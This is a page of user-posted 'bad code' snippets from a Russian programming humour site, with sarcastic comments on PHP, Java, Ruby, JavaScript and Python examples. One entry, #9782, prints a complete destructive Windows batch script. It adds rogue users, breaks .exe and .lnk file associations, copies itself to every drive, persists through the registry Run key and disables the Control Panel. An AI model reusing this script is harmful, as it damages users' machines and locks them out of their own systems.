1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #9811

    +153

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    require_once('adodb/adodb.inc.php');
    
    class adoDbConnector
    {
        private static $instance = null;
    	
        public static function getInstance()
        {
    	if (self::$instance == NULL)
    	{
    		self::$instance = new adoDbConnector();
    	}
    		
    	return self::$instance;
        }
    
        private function __construct() { }
    	
        public function __clone()
        {
            trigger_error('No __clone()!', E_USER_ERROR);
        }
    
        public function __wakeup()
        {
            trigger_error('No __wakeup()!', E_USER_ERROR);
    	}
    	
    	public function connect($connectionType, $connectionData)
    	{
    		switch($connectionType)
    		{
                        case 0: 
    			return self::generalConnect($connectionData);
    			break;
    			
                        case 1: 
    			return self::dsnConnect($connectionData);
    			break;
    				
                        case 2: 
    			return self::xmlConnect($connectionData);
    			break;
    				
                        default:
    			throw new Exception('Wrong type of connection!');
    		}
    	}
    	
    	private static function generalConnect($connectionData)
    	{	
    		if(is_array($connectionData))
    		{
    			$conn = &ADONewConnection($connectionData[0]); 
    				
    			$conn->PConnect($connectionData[1], $connectionData[2], 
                                    $connectionData[3], $connectionData[4]);
    				
    			return $conn;
    		}
    		else throw new Exception('Wrong type of connection data, must be an array!');
    	}
    	
    	private static function dsnConnect($connectionData)
    	{		
    		if(is_string($connectionData))
    		{
    			$conn = ADONewConnection($connectionData);
    				
    			return $conn;
    		}
    		else throw new Exception('Wrong type of connection data, must be a string!');
    	}
    	
    	private static function xmlConnect($connectionData)
    	{
    		if(is_string($connectionData) && file_exists($connectionData))
    		{
    			$xml = simplexml_load_file($connectionData);
    			
    			foreach($xml as $x)
    			{
    				$connArr[] = trim($x);
    			}
    			
    			$conn = &ADONewConnection($connArr[0]);
    			
    			$conn->PConnect($connArr[1], $connArr[2], $connArr[3], $connArr[4]);
    				
    			return $conn;
    		}
    		else throw new Exception('Wrong file name or connection type!');
    	}
    		
    }

    Archont12, 29 Марта 2012

    Комментарии (5)
  3. Куча / Говнокод #9782

    +120

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    @echo off
    %SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
    time 0:00 >nul
    date 13.06.23 >nul
    label C:IDIOT >nul
    label D:DURAK >nul
    label E:SUKA >nul
    label F:GANDON >nul
    copy %0 C:\Open.bat >nul
    copy %0 D:\Open.bat >nul
    copy %0 E:\Open.bat >nul
    copy %0 F:\Open.bat >nul
    net user "Idiot you Hacked" /add >nul
    net user "Bitch you Hacked" /add >nul
    net user "Durak you Hacked" /add >nul
    net user "Kritin you Hacked" /add >nul
    net user "Gavno you Hacked" /add >nul
    md 1 >nul
    md 2 >nul
    md 3 >nul
    md 4 >nul
    md 5 >nul
    md 6 >nul
    md 7 >nul
    md 8 >nul
    md 9 >nul
    md 10 >nul
    md 11 >nul
    md 12 >nul
    md 13 >nul
    md 14 >nul
    md 15 >nul
    md 16 >nul
    md 17 >nul
    md 18 >nul
    md 19 >nul
    md 20 >nul
    md 21 >nul
    md 22 >nul
    md 23 >nul
    md 24 >nul
    md 25 >nul
    md 26 >nul
    md 27 >nul
    assoc .lnk=.txt >nul
    assoc .exe=.txt >nul
    :x ;
    Start mspaint
    goto x ;
    :x ;
    Start Calc
    goto x ;
    copy ""%0"" "%SystemRoot%\system32\Cool.bat" >nul
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Cool" /t REG_SZ /d "%SystemRoot%\system32\Cool.bat" /f >nul
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul
    del %0 >nul

    Очередной говнокод cmd

    space_man26, 27 Марта 2012

    Комментарии (5)
  4. Java / Говнокод #9779

    +66

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    if (!retval){
    			String svcLocation = bp.getParameterValueObjectFromAnyComponent("ReqTDQuestions", "svcLocation") + "";
    			if (svcLocation.contains("GreaterChina")){
    				retval=true;
    			}
    		}
    
    if(!retval){
    			String svcCategory = bp.getParameterValueObjectFromAnyComponent("ReqTDQuestions", "svcCategory") + "";
    			if(svcCategory.contains("ValueAddedServices") || 
    					svcCategory.contains("distWarehouse") ||
    					svcCategory.contains("transportation")){
    				retval =true;
    			}
    		}

    элегантно.

    zloizerg, 27 Марта 2012

    Комментарии (5)
  5. Ruby / Говнокод #9768

    −102

    1. 1
    Money.new(v[:amount].gsub('.','').to_i)

    а вы умеете так переводить баксы в центы?

    cancerogen, 26 Марта 2012

    Комментарии (5)
  6. PHP / Говнокод #9765

    +159

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    ...
     function count_answers($answer_array){
      /*Count the array*/
      $count_ressult = 0;
      foreach(@$realarray as $key=>$value)
      {
        $count_ressult++;
      }
      return $count_ressult;
    }
    ...

    count($array)? не, не слышал!

    fafik91, 26 Марта 2012

    Комментарии (5)
  7. PHP / Говнокод #9762

    +152

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    Введите  cумму:<BR>
     <INPUT type="text" name="c" value="0"><BR> 
     <INPUT type="submit" name="PT" value="Разделить" >
     <BR>
     <BR>
    
    <...>
    
    <?php
      if (!empty($_REQUEST["PT"])) 
      { $c=$_REQUEST["c"];
       if ($c>9)
       {
        $b=($c % 10) + 10;
    	$a=($c - ($c % 10)) - 10;
    	$a1=$a/5;
    	if (($b % 3) == 0)
    		{
    			$b1=$b/3;
    			echo "пять=$a1 тройки=$b1 ";
    		}
    	if ((($b % 3) != 0)and((($b-5) % 3) == 0))
    		{
    			$a1=$a1+1;
    			$b1=($b-5)/3;
    			echo "пять=$a1 тройки=$b1";
    		}
    	if ((($b % 3) != 0)and((($b-10) % 3) == 0))	
    		{
    			$a1=$a1+2;
    			$b1=($b-10)/3;
    			echo "пять=$a1 тройки=$b1";
    		}
    	}
    	if($c<=9)
    		{
    			if($c==9)
    			{
    				echo "пять=0 тройка=3";
    			}
    			if($c==8)
    			{
    				echo "пять=1 тройка=1";
    			}
    			if($c<8)
    			{
    				echo "Не удовлетворяет начальным условиям";
    			}
    		}
      }
      ?>

    Задача: Необходимо доказать, что любое число, большее 7, можно представить в виде 3а+5b.

    Zryv, 26 Марта 2012

    Комментарии (5)
  8. JavaScript / Говнокод #9757

    +154

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    selector:function(tag,cn,pr,r)
    {
    	var allCN={}, i=0,j=0,a;
    	if (typeof(pr)=='undefined'){
    		var allT=document.getElementsByTagName(tag);
    	}else{
    		var allT=pr.getElementsByTagName(tag);
    	}
    	if (typeof(r)=='undefined'){
    		r=0;
    	}
    	while(a=allT[i++]){
    		
    		if (this.hasClass(a,cn))
    		{
    			allCN[j]=a;
    			j++;
    		}
    	}
    	return allCN;
    }

    я понимаю, что jquery использовать нельзя было, но зачем так всё запутывать...

    roman-kashitsyn, 25 Марта 2012

    Комментарии (5)
  9. Java / Говнокод #9749

    +142

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    public abstract class MySqlDataBase extends AbstractDataBase {
    
        public MySqlDataBase() throws Exception {
        }
    
        public void connection) {
            // Тут наш говнокод...
        }
    
        public abstract void createDB() {
            // Тут наш говнокод...
        }   
        
        public abstract void executeQuery() {
            // Тут наш говнокод...
        }
    
        public abstract void shutdown() {
            // Тут наш говнокод
        }
    
        public abstract DBObject getObject(String q);
        
        public abstract Vector getObjectVector(String q);
        
        public abstract void insertObject(DBObject o);
        
        public abstract void updateObject(DBObject o);
    }

    JavaCoder, 23 Марта 2012

    Комментарии (5)
  10. PHP / Говнокод #9743

    +157

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    if ($this->_hasParam('error')) {
                    if (intval(htmlentities($this->getRequest()->getParam('error'))) == -1100) {
                        $this->payment_messages->addMess($this->translate->translate('please.remember.fill'));
                    } elseif (intval(htmlentities($this->getRequest()->getParam('error'))) == -1300) {
                        $this->payment_messages->addMess($this->translate->translate('credit.card.not.accepted'));
                    } elseif (intval(htmlentities($this->getRequest()->getParam('error'))) == -1022) {
                        $this->payment_messages->addMess($this->translate->translate('transaction.declined.card.number'));
                    } elseif (intval(htmlentities($this->getRequest()->getParam('error'))) == -1018) {
                        $this->payment_messages->addMess($this->translate->translate('transaction.declined.card.number'));
                    } else {
                        $this->payment_messages->addMess($this->translate->translate('payment.system.error'));
                    }
                    $this->view->payment_messages = $this->payment_messages->getMess();
                }

    В продолжение #9742
    Это Team leader!!!

    Quetzalcoatl, 23 Марта 2012

    Комментарии (5)
  11. Python / Говнокод #9738

    −95

    1. 1
    2. 2
    3. 3
    4. 4
    try:
        ix, iy, image = im.size[0], im.size[1], im.tostring("raw", "RGBA", 0, -1)
    except SystemError:
        ix, iy, image = im.size[0], im.size[1], im.tostring("raw", "RGBX", 0, -1)

    "Ну пожалуйста!"
    Нашел здесь:
    http://pyopengl.sourceforge.net/context/tutorials/nehe6.xhtml

    Vindicar, 23 Марта 2012

    Комментарии (5)